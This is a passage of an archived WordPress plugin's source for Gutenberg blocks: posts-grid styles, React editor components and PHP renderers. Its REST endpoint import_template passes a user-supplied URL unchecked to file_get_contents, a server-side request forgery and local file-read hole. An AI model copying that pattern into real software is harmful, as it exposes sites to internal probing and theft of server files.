		background-clip: border-box;

		.posts-grid-post {
			margin-bottom: 10px;

			.posts-grid-post-image {
				position: relative;
	
				img {
					box-shadow: 0 10px 25px 0 rgba( 0, 0, 0, .2 );
					max-width: 100%;
					border-radius: 5px;
				}
			}

			.posts-grid-post-body {

				&.is-full {
					flex-basis: 100%;
				}
	
				.posts-grid-post-category {
					font-size: 12px;
					text-transform: capitalize;
					font-weight: 700;
					margin: 5px 0;
				}
		
				.posts-grid-post-title {
					font-size: 18px;
					margin: 10px 0;
					line-height: 1.25em;
		
					a {
						text-decoration: none;
						transition: all .15s ease 0s;
		
						&:hover {
							text-decoration: underline;
						}
					}
				}
		
				.posts-grid-post-meta {
					font-size: 14px;
					margin: 10px 0;
				}
		
				.posts-grid-post-description {
					font-size: 16px;
					margin: 10px 0;
				}}
		}
	}
}

@media ( min-width: 600px ) and ( max-width: 960px )  {
	.wp-block-themeisle-blocks-posts-grid {
		display: flex;
		flex-wrap: wrap;
	
		&.is-grid {
			.posts-grid-post-blog {
				min-width: 33%;
			}
		}
	}
}

@media ( max-width: 600px )  {
	.wp-block-themeisle-blocks-posts-grid {
		display: flex;
		flex-wrap: wrap;
	
		&.is-grid {
			.posts-grid-post-blog {
				min-width: 100%;
			}
		}
	
		&.is-list {
			.posts-grid-post {
				flex-direction: column;
				padding: 10px;

				.posts-grid-post-image {
					flex-basis: 100%;
					padding: 0;
				}
	
				.posts-grid-post-body {
					flex-basis: 100%;
					padding: 0;
				}
			}
		}
	}
}
posts/components/Thumbnail.js000066600000001700151151722000012356 0ustar00/**
 * WordPress Dependencies
 */
const {
	Placeholder,
	Spinner
} = wp.components;

const { withSelect } = wp.data;

const { Component } = wp.element;

class Thumbnail extends Component {
	constructor() {
		super( ...arguments );
	}

	render() {
		const { alt, id, thumbnail, link } = this.props;

		let img = <Placeholder><Spinner /></Placeholder>;

		if ( thumbnail ) {
			img = <img src={ thumbnail } alt={ alt } data-id={ id } />;
		}

		return (
			<div className="posts-grid-post-image">
				<a href={ link }>{ img }</a>
			</div>
		);
	}
}

export default withSelect( ( select, props ) => {
	const { id, alt, size } = props;
	const image = id ? select( 'core' ).getMedia( id ) : undefined;
	const thumbnail = image ? 0 < Object.keys( image.media_details.sizes ).length ? image.media_details.sizes[size].source_url : image.source_url : null;

	return image ? {
		thumbnail: thumbnail,
		alt: image.alt_text || alt
	} : {
		alt: alt
	};
})( Thumbnail );
posts/components/Editor.js000066600000014254151151722000011671 0ustar00/**
 * WordPress dependencies
 */
const { isUndefined, pickBy } = lodash;

const { __ } = wp.i18n;

const {
	Disabled,
	PanelBody,
	QueryControls,
	RangeControl,
	Placeholder,
	SelectControl,
	Spinner,
	TextControl
} = wp.components;

const { withSelect } = wp.data;

const { InspectorControls } = wp.editor;

const {
	Component,
	Fragment
} = wp.element;

/**
 * Internal dependencies
 */
import LayoutBuilder from './LayoutBuilder.js';

import StyleSwitcherControl from '../../../components/style-switcher-control/index.js';

import Layout from './Layout/index.js';

class Editor extends Component {
	constructor() {
		super( ...arguments );
		this.changeStyle = this.changeStyle.bind( this );
		this.changeColumns = this.changeColumns.bind( this );
		this.changeImageSize = this.changeImageSize.bind( this );
		this.getFields = this.getFields.bind( this );
		this.toggleFields = this.toggleFields.bind( this );
		this.changeExcerptLength = this.changeExcerptLength.bind( this );
	}

	changeStyle( value ) {
		this.props.setAttributes({ style: value });
	}

	changeColumns( value ) {
		this.props.setAttributes({ columns: value });
	}

	changeImageSize( value ) {
		this.props.setAttributes({ imageSize: value });
	}

	getFields( field ) {
		if ( 'image' === field ) {
			return this.props.attributes.displayFeaturedImage;
		}

		if ( 'category' === field ) {
			return this.props.attributes.displayCategory;
		}

		if ( 'title' === field ) {
			return this.props.attributes.displayTitle;
		}

		if ( 'meta' === field ) {
			return this.props.attributes.displayMeta;
		}

		if ( 'description' === field ) {
			return this.props.attributes.displayDescription;
		}
	}

	toggleFields( field ) {
		if ( 'image' === field ) {
			this.props.setAttributes({ displayFeaturedImage: ! this.props.attributes.displayFeaturedImage });
		}

		if ( 'category' === field ) {
			this.props.setAttributes({ displayCategory: ! this.props.attributes.displayCategory });
		}

		if ( 'title' === field ) {
			this.props.setAttributes({ displayTitle: ! this.props.attributes.displayTitle });
		}

		if ( 'meta' === field ) {
			this.props.setAttributes({ displayMeta: ! this.props.attributes.displayMeta });
		}

		if ( 'description' === field ) {
			this.props.setAttributes({ displayDescription: ! this.props.attributes.displayDescription });
		}
	}

	changeExcerptLength( value ) {
		this.props.setAttributes({ excerptLength: value });
	}

	render() {
		if ( ! this.props.posts || ! this.props.categoriesList || ! this.props.authors ) {
			return (
				<Placeholder>
					<Spinner />
					{ __( 'Loading Posts' ) }
				</Placeholder>
			);
		}

		return (
			<Fragment>
				<InspectorControls>
					<PanelBody
						title={ __( 'Styles' ) }
						initialOpen={ false }
					>
						<StyleSwitcherControl
							value={ this.props.attributes.style }
							options={ [
								{
									label: __( 'Grid' ),
									value: 'grid',
									image: themeisleGutenberg.assetsPath + '/icons/posts-grid.jpg'
								},
								{
									label: __( 'List' ),
									value: 'list',
									image: themeisleGutenberg.assetsPath + '/icons/posts-list.jpg'
								}
							] }
							onChange={ this.changeStyle }
						/>
					</PanelBody>

					<PanelBody
						title={ __( 'Settings' ) }
					>

						{ 'grid' === this.props.attributes.style && (
							<RangeControl
								label={ __( 'Columns' ) }
								value={ this.props.attributes.columns }
								onChange={ this.changeColumns }
								min={ 1 }
								max={ 5 }
							>
							</RangeControl>
						) }

						<QueryControls
							numberOfItems={ this.props.attributes.postsToShow }
							categoriesList={ this.props.categoriesList }
							selectedCategoryId={ this.props.attributes.categories }
							onOrderChange={ value => this.props.setAttributes({ order: value }) }
							onOrderByChange={ value => this.props.setAttributes({ orderBy: value }) }
							onCategoryChange={ value => this.props.setAttributes({ categories: '' !== value ? value : undefined }) }
							onNumberOfItemsChange={ value => this.props.setAttributes({ postsToShow: value }) }
						/>

						{ this.props.attributes.displayFeaturedImage && (
							<SelectControl
								label={ __( 'Image Size' ) }
								value={ this.props.attributes.imageSize }
								options={ [
									{ label: __( 'Thumbnail' ), value: 'thumbnail' },
									{ label: __( 'Medium' ), value: 'medium' },
									{ label: __( 'Medium Large' ), value: 'medium_large' },
									{ label: __( 'Large' ), value: 'large' },
									{ label: __( 'Full' ), value: 'full' }
								] }
								onChange={ this.changeImageSize }
							/>
						) }

						{ this.props.attributes.displayDescription && (
							<TextControl
								label={ __( 'Excerpt Limit' ) }
								type="number"
								value={ this.props.attributes.excerptLength }
								onChange={ this.changeExcerptLength }
							/>
						) }
					</PanelBody>

					<PanelBody
						title={ __( 'Design & Layout' ) }
						initialOpen={ false }
					>
						<LayoutBuilder
							attributes={ this.props.attributes }
							getFields={ this.getFields }
							toggleFields={ this.toggleFields }
							setAttributes={ this.props.setAttributes }
						/>
					</PanelBody>
				</InspectorControls>

				{ ( 0 === this.props.posts.length ) && (
					<Placeholder>
						{ __( 'No Posts' ) }
					</Placeholder>
				) }

				{ ( 0 < this.props.posts.length ) && (
					<Disabled>
						<Layout
							className={ this.props.className }
							attributes={ this.props.attributes }
							posts={ this.props.posts }
							categoriesList={ this.props.categoriesList }
							authors={ this.props.authors }
						/>
					</Disabled>
				) }
			</Fragment>
		);
	}
}

export default withSelect( ( select, props ) => {
	const { categories, order, orderBy, postsToShow } = props.attributes;
	const latestPostsQuery = pickBy({
		categories,
		order,
		orderby: orderBy,
		per_page: postsToShow // eslint-disable-line camelcase
	}, ( value ) => ! isUndefined( value ) );
	return {
		posts: select( 'core' ).getEntityRecords( 'postType', 'post', latestPostsQuery ),
		// eslint-disable-next-line camelcase
		categoriesList: select( 'core' ).getEntityRecords( 'taxonomy', 'category', { per_page: 100 }),
		authors: select( 'core' ).getAuthors()
	};
})( Editor );
posts/components/Layout/List.js000066600000005250151151722000012627 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';

/**
* WordPress dependencies
*/
const {
	__,
	sprintf
} = wp.i18n;

/**
 * Internal dependencies
 */
import { unescapeHTML, formatDate } from '../../../../helpers/helper-functions.js';

import Thumbnail from '../Thumbnail.js';

const List = ({ className, attributes, posts, categoriesList, authors }) => {
	return (
		<div className={ classnames(
			className,
			'is-list'
		) }>
			{ posts.map( post => {
				let category, author;

				if ( categoriesList ) {
					category = categoriesList.find( item => item.id === post.categories[0]);
				}

				if ( authors ) {
					author = authors.find( item => item.id === post.author );
				}

				return (
					<div className="posts-grid-post-blog posts-grid-post-plain">
						<div className="posts-grid-post">
							{ ( 0 !== post.featured_media && attributes.displayFeaturedImage ) && (
								<Thumbnail
									id={ post.featured_media }
									link={ post.link }
									alt={ post.title.rendered }
									size={ attributes.imageSize }
								/>
							) }

							<div className={ classnames(
								'posts-grid-post-body',
								{ 'is-full': ! attributes.displayFeaturedImage }
							)}>
								{ attributes.template.map( element => {
									if ( 'category' === element ) {
										if ( undefined !== category && ( attributes.displayCategory && categoriesList ) ) {
											return <h6 class="posts-grid-post-category">{ category.name }</h6>;
										}
									}

									if ( 'title' === element ) {
										if ( attributes.displayTitle ) {
											return (
												<h5 className="posts-grid-post-title">
													<a href={ post.link }>
														{ unescapeHTML( post.title.rendered ) }
													</a>
												</h5>
											);
										}
									}

									if ( 'meta' === element ) {
										if ( attributes.displayMeta ) {
											return (
												<p className="posts-grid-post-meta">
													{ __( 'on ' ) }

													<time datetime={ post.date }>{ formatDate( post.date ) }</time>

													{ ( undefined !== author && authors ) && (
														sprintf( __( ' by %s' ), author.name )
													) }
												</p>
											);
										}
									}

									if ( 'description' === element ) {
										if ( 0 < attributes.excerptLength && attributes.displayDescription ) {
											return (
												<p className="posts-grid-post-description">
													{ unescapeHTML( post.excerpt.rendered ).substring( 0, attributes.excerptLength ) + '…' }
												</p>
											);
										}
									}
								}) }
							</div>
						</div>
					</div>
				);
			}) }
		</div>
	);
};

export default List;
posts/components/Layout/Grid.js000066600000005200151151722000012574 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';

/**
* WordPress dependencies
*/
const {
	__,
	sprintf
} = wp.i18n;

/**
 * Internal dependencies
 */
import { unescapeHTML, formatDate } from '../../../../helpers/helper-functions.js';

import Thumbnail from '../Thumbnail.js';

const Grid = ({ className, attributes, posts, categoriesList, authors }) => {
	return (
		<div className={ classnames(
			className,
			'is-grid',
			`posts-grid-columns-${ attributes.columns }`,
		) }>
			{ posts.map( post => {
				let category, author;

				if ( categoriesList ) {
					category = categoriesList.find( item => item.id === post.categories[0]);
				}

				if ( authors ) {
					author = authors.find( item => item.id === post.author );
				}

				return (
					<div className="posts-grid-post-blog posts-grid-post-plain">
						<div className="posts-grid-post">
							{ ( 0 !== post.featured_media && attributes.displayFeaturedImage ) && (
								<Thumbnail
									id={ post.featured_media }
									link={ post.link }
									alt={ post.title.rendered }
									size={ attributes.imageSize }
								/>
							) }

							<div className="posts-grid-post-body">
								{ attributes.template.map( element => {
									if ( 'category' === element ) {
										if ( undefined !== category && ( attributes.displayCategory && categoriesList ) ) {
											return <h6 class="posts-grid-post-category">{ category.name }</h6>;
										}
									}

									if ( 'title' === element ) {
										if ( attributes.displayTitle ) {
											return (
												<h5 className="posts-grid-post-title">
													<a href={ post.link }>
														{ unescapeHTML( post.title.rendered ) }
													</a>
												</h5>
											);
										}
									}

									if ( 'meta' === element ) {
										if ( attributes.displayMeta ) {
											return (
												<p className="posts-grid-post-meta">
													{ __( 'on ' ) }

													<time datetime={ post.date }>{ formatDate( post.date ) }</time>

													{ ( undefined !== author && authors ) && (
														sprintf( __( ' by %s' ), author.name )
													) }
												</p>
											);
										}
									}

									if ( 'description' === element ) {
										if ( 0 < attributes.excerptLength && attributes.displayDescription ) {
											return (
												<p className="posts-grid-post-description">
													{ unescapeHTML( post.excerpt.rendered ).substring( 0, attributes.excerptLength ) + '…' }
												</p>
											);
										}
									}
								}) }
							</div>
						</div>
					</div>
				);
			}) }
		</div>
	);
};

export default Grid;
posts/components/Layout/index.js000066600000001175151151722000013025 0ustar00/**
 * Internal dependencies
 */
import Grid from './Grid.js';

import List from './List.js';

const Layout = ({ className, attributes, posts, categoriesList, authors }) => {
	if ( 'grid' === attributes.style ) {
		return (
			<Grid
				className= { className }
				attributes= { attributes }
				posts= { posts }
				categoriesList= { categoriesList }
				authors= { authors }
			/>
		);
	}

	if ( 'list' === attributes.style ) {
		return (
			<List
				className= { className }
				attributes= { attributes }
				posts= { posts }
				categoriesList= { categoriesList }
				authors= { authors }
			/>
		);
	}
};

export default Layout;
posts/components/LayoutBuilder.js000066600000005417151151722000013230 0ustar00/**
 * External dependencies
 */
import arrayMove from 'array-move';

import classnames from 'classnames';

import {
	SortableContainer,
	SortableElement,
	SortableHandle
} from 'react-sortable-hoc';

/**
 * WordPress dependencies
 */
const {
	startCase,
	toLower
} = lodash;

const { __ } = wp.i18n;

const { IconButton } = wp.components;

const {
	Component,
	Fragment
} = wp.element;

class LayoutBuilder extends Component {
	constructor() {
		super( ...arguments );
		this.onSortEnd = this.onSortEnd.bind( this );

		this.state = {
			isOpen: false
		};
	}

	onSortEnd({ oldIndex, newIndex })  {
		const template = arrayMove( this.props.attributes.template, oldIndex, newIndex );
		this.props.setAttributes({ template });
	};

	render() {
		const DragHandle = SortableHandle( () => {
			return (
				<div className="wp-block-themeisle-blocks-posts-grid-builder-handle">
					<span></span>
				</div>
			);
		});

		const SortableItem = SortableElement( ({ value, disabled }) => {
			const label = startCase( toLower( value ) );
			let icon = 'hidden';
			let message = __( `Display ${ label }` );

			if ( this.props.getFields( value ) ) {
				icon = 'visibility';
				message = __( `Hide ${ label }` );
			}

			return (
				<div className="wp-block-themeisle-blocks-posts-grid-builder-item">
					<DragHandle />

					<div className="wp-block-themeisle-blocks-posts-grid-builder-label">
						{ label }
					</div>

					<IconButton
						icon={ icon }
						label={ message }
						className="wp-block-themeisle-blocks-posts-grid-builder-button"
						onClick={ () => this.props.toggleFields( value ) }
					/>
				</div>
			);
		});

		const SortableList = SortableContainer( ({ template }) => {
			return (
				<div>
					{ template.map( ( value, index ) => (
						<SortableItem
							key={`item-${ index }`}
							index={ index } value={ value }
						/>
					) ) }
				</div>
			);
		});

		return (
			<Fragment>
				<div
					className={ classnames(
						'wp-block-themeisle-blocks-posts-grid-builder',
						this.props.attributes.style
					) }
				>
					<div className="wp-block-themeisle-blocks-posts-grid-builder-item disabled">

						<div className="wp-block-themeisle-blocks-posts-grid-builder-label">
							{ __( 'Featured Image' ) }
						</div>

						<IconButton
							icon={ this.props.getFields( 'image' ) ? 'visibility' : 'hidden' }
							label={ this.props.getFields( 'image' ) ? __( 'Hide Featured Image' ) : __( 'Display Featured Image' ) }
							className="wp-block-themeisle-blocks-posts-grid-builder-button"
							onClick={ () => this.props.toggleFields( 'image' ) }
						/>
					</div>

					<SortableList
						template={ this.props.attributes.template }
						onSortEnd={ this.onSortEnd }
						useDragHandle
					/>
				</div>
			</Fragment>
		);
	}
}

export default LayoutBuilder;
posts/class-posts-grid-block.php000066600000014164151151722000012717 0ustar00<?php
namespace ThemeIsle\GutenbergBlocks;

/**
 * Class Posts_Grid_Block
 */
class Posts_Grid_Block extends Base_Block {

	/**
	 * Constructor function for the module.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Every block needs a slug, so we need to define one and assign it to the `$this->block_slug` property
	 *
	 * @return mixed
	 */
	function set_block_slug() {
		$this->block_slug = 'posts-grid';
	}

	/**
	 * Set the attributes required on the server side.
	 *
	 * @return mixed
	 */
	function set_attributes() {
		$this->attributes = array(
			'style'					=> array(
				'type' => 'string',
				'default' => 'grid',
			),
			'columns'				=> array(
				'type' => 'number',
				'default' => 3,
			),
			'template'				=> array(
				'type' => 'object',
				'default' => array(
					'category',
					'title',
					'meta',
					'description'
				),
			),
			'categories'			=> array(
				'type' => 'string',
			),
			'postsToShow'			=> array(
				'type'    => 'number',
				'default' => 5,
			),
			'order'					=> array(
				'type'    => 'string',
				'default' => 'desc',
			),
			'orderBy'				=> array(
				'type'    => 'string',
				'default' => 'date',
			),
			'imageSize'				=> array(
				'type'    => 'string',
				'default' => 'full',
			),
			'displayFeaturedImage'	=> array(
				'type'    => 'boolean',
				'default' => true,
			),
			'displayCategory'		=> array(
				'type'    => 'boolean',
				'default' => true,
			),
			'displayTitle'			=> array(
				'type'    => 'boolean',
				'default' => true,
			),
			'displayMeta'			=> array(
				'type'    => 'boolean',
				'default' => true,
			),
			'displayDescription'	=> array(
				'type'    => 'boolean',
				'default' => true,
			),
			'excerptLength'			=> array(
				'type'    => 'number',
				'default' => '200',
			),
		);
	}

	/**
	 * Block render function for server-side.
	 *
	 * This method will pe passed to the render_callback parameter and it will output
	 * the server side output of the block.
	 *
	 * @return mixed|string
	 */
	function render( $attributes ) {
		$recent_posts = wp_get_recent_posts(
			array(
				'numberposts' => $attributes['postsToShow'],
				'post_status' => 'publish',
				'order'       => $attributes['order'],
				'orderby'     => $attributes['orderBy'],
				'category'    => isset( $attributes['categories'] ) ? $attributes['categories'] : 0,
			)
		);

		$list_items_markup = '';

		foreach ( $recent_posts as $post ) {
			$id = $post['ID'];
			$size = isset( $attributes['imageSize'] ) ? $attributes['imageSize'] : 'medium';
			$thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $id ), $size );
			$category = get_the_category( $id );

			$list_items_markup .= '<div class="posts-grid-post-blog posts-grid-post-plain"><div class="posts-grid-post">';

			if ( isset( $attributes['displayFeaturedImage'] ) && $attributes['displayFeaturedImage'] ) {
				if ( $thumbnail ) {
					$list_items_markup .= sprintf(
						'<div class="posts-grid-post-image"><a href="%1$s"><img src="%2$s" alt="%3$s" /></a></div>',
						esc_url( get_the_permalink( $id ) ),
						esc_url( $thumbnail[0] ),
						esc_html( get_the_title( $id ) )
					);
				}
			}

			$list_items_markup .= '<div class="posts-grid-post-body' . ( $thumbnail && $attributes['displayFeaturedImage'] ? '' : ' is-full' ) . '">';

			foreach( $attributes['template'] as $element ) {
				if ( $element === 'category' ) {
					if ( isset( $attributes['displayCategory'] ) && $attributes['displayCategory'] ) {
						$list_items_markup .= sprintf(
							'<h6 class="posts-grid-post-category">%1$s</h6>',
							esc_html( $category[0]->cat_name )
						);
					}
				}

				if ( $element === 'title' ) {
					if ( isset( $attributes['displayTitle'] ) && $attributes['displayTitle'] ) {
						$list_items_markup .= sprintf(
							'<h5 class="posts-grid-post-title"><a href="%1$s">%2$s</a></h5>',
							esc_url( get_the_permalink( $id ) ),
							esc_html( get_the_title( $id ) )
						);
					}
				}

				if ( $element === 'meta' ) {
					if ( ( isset( $attributes['displayMeta'] ) && $attributes['displayMeta'] )  ) {
						$list_items_markup .= '<p class="posts-grid-post-meta">';
		
						$list_items_markup .= sprintf(
							'%1$s <time datetime="%2$s">%3$s</time> %4$s %5$s',
							__( 'on', 'themeisle-companion' ),
							esc_attr( get_the_date( 'c', $id ) ),
							esc_html( get_the_date( 'j F, Y', $id ) ),
							__( 'by', 'themeisle-companion' ),
							get_the_author_meta( 'display_name', get_post_field( 'post_author', $id ) )
						);
		
						$list_items_markup .= '</p>';
					}
				}

				if ( $element === 'description' ) {
					if ( ( isset( $attributes['excerptLength'] ) && $attributes['excerptLength'] > 0 ) && ( isset( $attributes['displayDescription'] ) && $attributes['displayDescription'] ) ) {
						$list_items_markup .= sprintf(
							'<p class="posts-grid-post-description">%1$s</p>',
							$this->get_excerpt_by_id( $id, $attributes['excerptLength'] )
						);
					}
				}
			}

			$list_items_markup .= '</div></div></div>';
		}

		$class = 'wp-block-themeisle-blocks-posts-grid';

		if ( isset( $attributes['className'] ) ) {
			$class .=  ' ' . esc_attr( $attributes['className'] );
		}

		if ( isset( $attributes['align'] ) ) {
			$class .= ' align' . $attributes['align'];
		}

		if ( isset( $attributes['grid'] ) && true === $attributes['grid'] ) {
			$class .= ' is-grid';
		}

		if ( isset( $attributes['style'] ) ) {
			$class .= ' is-' . $attributes['style'];
		}

		if ( ( isset( $attributes['style'] ) && $attributes['style'] === 'grid' ) || ( isset( $attributes['grid'] ) && true === $attributes['grid'] ) ) {
			$class .= ' posts-grid-columns-' . $attributes['columns'];
		}

		$block_content = sprintf(
			'<div class="%1$s">%2$s</div>',
			esc_attr( $class ),
			$list_items_markup
		);

		return $block_content;
	}

	/**
	 * Get post excerpt
	 *
	 * @return string
	 */
	function get_excerpt_by_id( $post_id, $excerpt_length = 200 ) {
		$the_post = get_post( $post_id );
		$the_excerpt = $the_post->post_content;
		$the_excerpt = strip_tags( strip_shortcodes( $the_excerpt ) );
		$the_excerpt = substr( $the_excerpt, 0, $excerpt_length ) . '…';
		return $the_excerpt;
	}
}
section/class-advanced-columns-server.php000066600000017316151151722000014561 0ustar00<?php

namespace ThemeIsle\GutenbergBlocks;

/**
 * Class Advanced_Columns_Server
 */
class Advanced_Columns_Server extends \WP_Rest_Controller {

	/**
	 * The main instance var.
	 *
	 * @var Advanced_Columns_Server
	 */
	public static $instance = null;

	/**
	 * Rest route namespace.
	 *
	 * @var Advanced_Columns_Server
	 */
	public $namespace = 'themeisle-gutenberg-blocks/';

	/**
	 * Rest route version.
	 *
	 * @var Advanced_Columns_Server
	 */
	public $version = 'v1';

	/**
	 * Initialize the class
	 */
	public function init() {
		add_action( 'rest_api_init', array( $this, 'register_routes' ) );
	}

	/**
	 * Register REST API route
	 */
	public function register_routes() {
		$namespace = $this->namespace . $this->version;

		register_rest_route(
			$namespace,
			'/fetch_templates',
			array(
				array(
					'methods'	=> \WP_REST_Server::READABLE,
					'callback'	=> array( $this, 'fetch_templates' ),
				),
			)
		);

		register_rest_route(
			$namespace,
			'/import_template',
			array(
				array(
					'methods'	=> \WP_REST_Server::READABLE,
					'callback'	=> array( $this, 'import_template' ),
					'args'		=> array(
						'url'	=> array(
							'type'        => 'string',
							'required'    => true,
							'description' => __( 'URL of the JSON file.', 'themeisle-companion' ),
						),
					),
				),
			)
		);
	}

	/**
	 * Function to fetch templates.
	 *
	 * @return array|bool|\WP_Error
	 */
	public function fetch_templates( \WP_REST_Request $request ) {
		if ( ! current_user_can( 'edit_posts' ) ) {
			return false;
		}

		$templates_list = array(
			array(
				'title'				=> __( 'Header with Video', 'themeisle-companion' ),
				'type'				=> 'block',
				'author'			=> __( 'Otter', 'themeisle-companion' ),
				'keywords'			=> array( 'header', 'video' ),
				'categories'		=> array( 'header' ),
				'template_url'		=> 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/header-video/template.json',
				'screenshot_url'    => 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/header-video/screenshot.png',
			),
			array(
				'title'				=> __( 'Services Simple', 'themeisle-companion' ),
				'type'				=> 'block',
				'author'			=> __( 'Otter', 'themeisle-companion' ),
				'keywords'			=> array( 'services', 'features' ),
				'categories'		=> array( 'services' ),
				'template_url'		=> 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/services-simple/template.json',
				'screenshot_url'    => 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/services-simple/screenshot.png',
			),
			array(
				'title'				=> __( 'Services Round Icons', 'themeisle-companion' ),
				'type'				=> 'block',
				'author'			=> __( 'Otter', 'themeisle-companion' ),
				'keywords'			=> array( 'services', 'features', 'icons' ),
				'categories'		=> array( 'services' ),
				'template_url'		=> 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/services-round-icons/template.json',
				'screenshot_url'    => 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/services-round-icons/screenshot.png',
			),
			array(
				'title'				=> __( 'Services Image Background', 'themeisle-companion' ),
				'type'				=> 'block',
				'author'			=> __( 'Otter', 'themeisle-companion' ),
				'keywords'			=> array( 'services', 'features' ),
				'categories'		=> array( 'services' ),
				'template_url'		=> 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/services-image-background/template.json',
				'screenshot_url'    => 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/services-image-background/screenshot.png',
			),
			array(
				'title'				=> __( 'Pricing Boxed', 'themeisle-companion' ),
				'type'				=> 'block',
				'author'			=> __( 'Otter', 'themeisle-companion' ),
				'keywords'			=> array( 'pricing' ),
				'categories'		=> array( 'pricing' ),
				'template_url'		=> 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/pricing-boxed/template.json',
				'screenshot_url'    => 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/pricing-boxed/screenshot.png',
			),
			array(
				'title'				=> __( 'Pricing Hestia', 'themeisle-companion' ),
				'type'				=> 'block',
				'author'			=> __( 'Otter', 'themeisle-companion' ),
				'keywords'			=> array( 'pricing', 'hestia' ),
				'categories'		=> array( 'pricing' ),
				'template_url'		=> 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/pricing-hestia/template.json',
				'screenshot_url'    => 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/pricing-hestia/screenshot.png',
			),
			array(
				'title'				=> __( 'Testimonials Simple', 'themeisle-companion' ),
				'type'				=> 'block',
				'author'			=> __( 'Otter', 'themeisle-companion' ),
				'keywords'			=> array( 'testimonials', 'quote' ),
				'categories'		=> array( 'testimonials' ),
				'template_url'		=> 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/testimonials-simple/template.json',
				'screenshot_url'    => 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/testimonials-simple/screenshot.png',
			),
			array(
				'title'				=> __( 'Testimonials Boxed', 'themeisle-companion' ),
				'type'				=> 'block',
				'author'			=> __( 'Otter', 'themeisle-companion' ),
				'keywords'			=> array( 'testimonials', 'quote', 'boxed' ),
				'categories'		=> array( 'testimonials' ),
				'template_url'		=> 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/testimonials-boxed/template.json',
				'screenshot_url'    => 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/testimonials-boxed/screenshot.png',
			),
			array(
				'title'				=> __( 'About with Map', 'themeisle-companion' ),
				'type'				=> 'block',
				'author'			=> __( 'Otter', 'themeisle-companion' ),
				'keywords'			=> array( 'about', 'social', 'maps', 'footer' ),
				'categories'		=> array( 'about', 'footer' ),
				'template_url'		=> 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/about-with-map/template.json',
				'screenshot_url'    => 'https://raw.githubusercontent.com/Codeinwp/gutenberg-templates/master/about-with-map/screenshot.png',
			),
		);

		$templates = apply_filters( 'themeisle_gutenberg_templates', $templates_list );

		return rest_ensure_response( $templates );
	}

	/**
	 * Function to fetch template JSON.
	 *
	 * @return array|bool|\WP_Error
	 */
	public function import_template( $request ) {
		if ( ! current_user_can( 'edit_posts' ) ) {
			return false;
		}

		$url = $request->get_param( 'url' );
		$json = file_get_contents( $url );
		$obj = json_decode( $json );
		return rest_ensure_response( $obj );
	}

	/**
	 * The instance method for the static class.
	 * Defines and returns the instance of the static class.
	 *
	 * @static
	 * @since 1.0.0
	 * @access public
	 * @return Advanced_Columns_Server
	 */
	public static function instance() {
		if ( is_null( self::$instance ) ) {
			self::$instance = new self();
			self::$instance->init();
		}
		return self::$instance;
	}

	/**
	 * Throw error on object clone
	 *
	 * The whole idea of the singleton design pattern is that there is a single
	 * object therefore, we don't want the object to be cloned.
	 *
	 * @access public
	 * @since 1.0.0
	 * @return void
	 */
	public function __clone() {
		// Cloning instances of the class is forbidden.
		_doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin&#8217; huh?', 'themeisle-companion' ), '1.0.0' );
	}

	/**
	 * Disable unserializing of the class
	 *
	 * @access public
	 * @since 1.0.0
	 * @return void
	 */
	public function __wakeup() {
		// Unserializing instances of the class is forbidden.
		_doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin&#8217; huh?', 'themeisle-companion' ), '1.0.0' );
	}
}
section/layouts.js000066600000001031151151722000010237 0ustar00const layouts = {
	1: {
		equal: [ '100' ]
	},
	2: {
		equal: [ '50', '50' ],
		oneTwo: [ '33.34', '66.66' ],
		twoOne: [ '66.66', '33.34' ]
	},
	3: {
		equal: [ '33.33', '33.33', '33.33' ],
		oneOneTwo: [ '25', '25', '50' ],
		twoOneOne: [ '50', '25', '25' ],
		oneTwoOne: [ '25', '50', '25' ],
		oneThreeOne: [ '20', '60', '20' ]
	},
	4: {
		equal: [ '25', '25', '25', '25' ]
	},
	5: {
		equal: [ '20', '20', '20', '20', '20' ]
	},
	6: {
		equal: [ '16.66', '16.66', '16.66', '16.66', '16.66', '16.66' ]
	}
};

export default layouts;
section/components/onboarding/editor.scss000066600000017273151151722000014712 0ustar00.themeisle-onboarding-component {
	background: #ffffff;
	border: 1px solid #e7e7e7;
	padding: 50px;

	.components-placeholder__label {
		svg {
			min-width: 20px;
			min-height: 20px;
			max-width: 24px;
			max-height: 24px;
			margin-right: 5px;
		}
	}

	.themeisle-layout-picker {
		width: 100%;

		.wp-block-themeisle-blocks-advanced-column-layout {
			cursor: pointer;
			width: calc( 100% / 6 );
			min-width: 5vw;
			display: inline-block;
			padding: 5px 5px 0px;
	
			svg {
				fill: #d5dadf;
			}
	
			&:hover {
	
				svg {
					fill: #6d7882;
				}
			}
	
			&.selected {
	
				svg {
					fill: #6d7882;
				}
			}
		}
	}

	.themeisle-template-library {
		font-size: 14px;
		height: auto;
		padding: 10px 20px;
		margin-top: 10px;
		display: flex;
		align-items: center;

		svg {
			margin-right: 10px;
		}
	}
}

.themeisle-library-modal {
	.components-modal__content {
		padding: 0;
	
		.components-modal__header {
			display: none;
		}

		.library-modal-control-panel {
			background: #ffffff;
			position: sticky;
			top: 0;
			box-shadow: 0 0px 10px rgba(25,30,35,.2);
			z-index: 99999999;

			.library-modal-header {
				display: flex;
	
				.library-modal-header-logo {
					display: flex;
					flex-basis: 100%;
					justify-content: flex-start;
	
